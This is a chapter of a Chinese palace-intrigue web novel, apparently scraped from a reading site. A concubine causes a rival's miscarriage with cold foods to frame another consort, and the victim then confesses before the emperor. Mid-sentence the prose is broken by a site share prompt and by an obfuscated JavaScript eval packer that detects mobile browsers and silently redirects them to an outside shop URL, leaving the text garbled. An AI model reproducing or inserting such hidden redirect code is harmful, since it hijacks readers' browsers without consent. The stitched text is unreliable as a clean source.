“免礼。”秦燊声音发冷道。
苏芙蕖和淳嫔谢恩起身。
刚起身,淳嫔就迫不及待上前宽慰秦燊道:“陛下,青选侍还年轻,以后还会有孩子,您千万不要伤心。”
秦燊看着淳嫔,眼眸里的漩涡似乎更重,没说话。
淳嫔被秦燊看的心里有些不安,转移话题说:
“陛下,方才宸嫔娘娘确实摸过青选侍的肚子,也是正摸着青选侍的肚子青选侍就摔倒了。”
“但是臣妾看得很清楚,此事是青选侍自己失足,与宸嫔娘娘无关,臣妾可以为宸嫔娘娘作证。”
淳嫔像是帮苏芙蕖说话,却把‘来龙去脉’都讲了一遍,还都是苏芙蕖的嫌疑。
毕竟这手一旦摸上肚子,两个人在拉拉扯扯之间,是失足还是蓄意而为,很难说。
就算摆脱蓄意而为的罪过,也会有疏忽大意以至皇嗣受损的过错。
秦燊看向苏芙蕖。
苏芙蕖装作惶恐,其中还夹着失落和伤心解释道:“陛下,臣妾只是羡慕青选侍有孕,这才摸了一下,但臣妾没有推她。”
秦燊的神色似乎柔和三分,他语气如常道:“朕相信你的为人。”
苏芙蕖微微一怔,眼里划过讶然和感动,又被她慌忙低头遮掩下去:“是,臣妾多谢陛下。”
淳嫔蹙眉还想再说什么,秦燊提前打断:“安静点,等太医出来再做定夺。”
“……”淳嫔被噎一下,后面的话都说不出来,只剩下心中的苦涩和难受。
就算青选侍能比得过苏芙蕖,她还是比不过苏芙蕖。
淳嫔在此刻真正确定,她已经失宠。
她不解至极,为什么自己这么努力,还是失宠了?
最初宸嫔入宫时,她还能坐在陛下腿上谈笑,夜晚还能和陛下亲密,虽然最后陛下也没与她行周公之礼,但至少肯亲近。
是从什么时候开始,陛下真的冷了她呢?
淳嫔不断回想过去发生的一切。
秦燊坐在主位上,苏芙蕖和淳嫔站在一旁都没有说话,听着内室不时传出来的惨叫,殿内气氛跟着僵硬、冰冷。
片刻。
松岸走出来对秦燊行礼道:“微臣参见陛下,陛下万安。”
“孕妇前三月本就胎象不稳,青小主又食用大量寒凉之物,再加上骤然倒地重击,这才导致小产。”
淳嫔眉头皱起,装作无辜问道:“松太医,何为寒凉之物?”
松岸道:“回娘娘,孕妇孕期不能服用过
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
量的寒凉之物,例如螃蟹、甲鱼、薏米等。尤其是前三月和后三月,若是过量很容易导致流产。”
“微臣在青小主怀孕初期时曾特意叮嘱过她,微臣不知青小主为何还会服用寒凉之物。”
“……”淳嫔心中的不安骤然被松岸放大,像是擂鼓似的猛敲。
她看向坐在上位面无表情的帝王。
一种不好的预感从心头浮起。
她们来之前连续多日,她都让青黛每日只能服用冰水和大量螃蟹配着山楂一起吃。
直到今日青黛肚子一直发紧发痛,不时还抽搐着难受,她们这才来找宸嫔。
她觉得利用食物危害胎儿,太医应当是查验不准的,就算是查出来,她们也可以借口无知…
谁知道,原来松岸早就私下叮嘱过青黛。
对此,青黛只字未言。
淳嫔勉强装作镇定,面上不漏马脚,匆忙上前跪地解释道:
“陛下,青选侍自从有孕后很喜欢吃螃蟹和山楂,臣妾未曾生育过…臣妾也不懂。”
“青选侍也从未与臣妾说过她不能吃这些,臣妾是个糊涂人,只知道她有孕便纵容,不知劝慰。”
“臣妾有罪,请陛下责罚。”
淳嫔说着话眼眶泛红,泫然欲泣,努力装作一个蠢笨无知之人,宛若青黛如此都是青黛自作孽。
“嘎吱——”内殿的门突然开了。
青黛在宫婢香草的搀扶下,踉跄困难地走出来,一脸痛色和隐忍地跪在淳嫔身旁。
淳嫔就像是看见救命稻草般道:“青选
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938360|190744||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
侍,松太医私下叮嘱你不要吃寒凉之物,你怎么不说呢。”
“现下你小产失子,本宫心中难受至极,思及此事,本宫难免觉得愧对你的父母亲人。”
青黛装着的痛色险些没稳住。
又是父母亲人,淳嫔只会拿她的父母亲人相威胁,要求一次比一次过分,有时简直没拿她当人。
幸好,幸好陛下眷顾可怜她,早就暗中派人保护她的亲人。
只等淳嫔倒台,她的亲人会立刻被陛下的人接出来,安顿在陛下名下的皇庄里安度余生。
“陛下,妾身有罪。”青黛先是给秦燊稽首,态度庄严而认真,声音还带着隐隐哽咽。
淳嫔见此,放在衣袖里的手都微微颤抖,一颗心提到嗓子眼。
下一刻,青黛挺直脊背道:“妾身之罪一,不顾礼义廉耻,奉淳嫔之命勾引陛下,乃是不守宫规、以下犯上之罪。”
青黛嗓音中的哭腔更重,但每一个字都说的十分清晰。
每一个字都像是重锤,狠狠敲在淳嫔脑子里,剧痛又嗡鸣无比,将她打的呆愣,四肢僵硬,嗓子里像是被人堵上棉花,麻痒想说什么,又说不出口。
“妾身之罪二,淳嫔以妾身父母亲人之命相威胁,妾身身怀有孕却纵容淳嫔谋害皇嗣,此乃不忠不慈之罪。”
“妾身之罪三,宸嫔待妾身宽和有礼,妾身却奉淳嫔之命,攀污宸嫔害妾身腹中子,此乃不仁不义之罪。”
青黛说罢,重重磕头,掷地有声道:“请陛下重重惩治妾身。”
“……”殿中陷入一片诡异的安静。
青黛眼泪不受控制的滑落,心中却是前所未有的舒畅。
她可以在保全亲人的同时,亲自揭发淳嫔的非人行为,亲自报仇,这让她无尽畅快。
等看到淳嫔被处置后,她就算死也甘心。
苏芙蕖则是早就惊诧震惊的后退一步,不敢置信地看着淳嫔和青黛。
她脸色泛白,呼吸起伏加快,显然是很后怕。
众人的表现都被秦燊尽收眼底。
“宸嫔,过来。”秦燊对苏芙蕖道。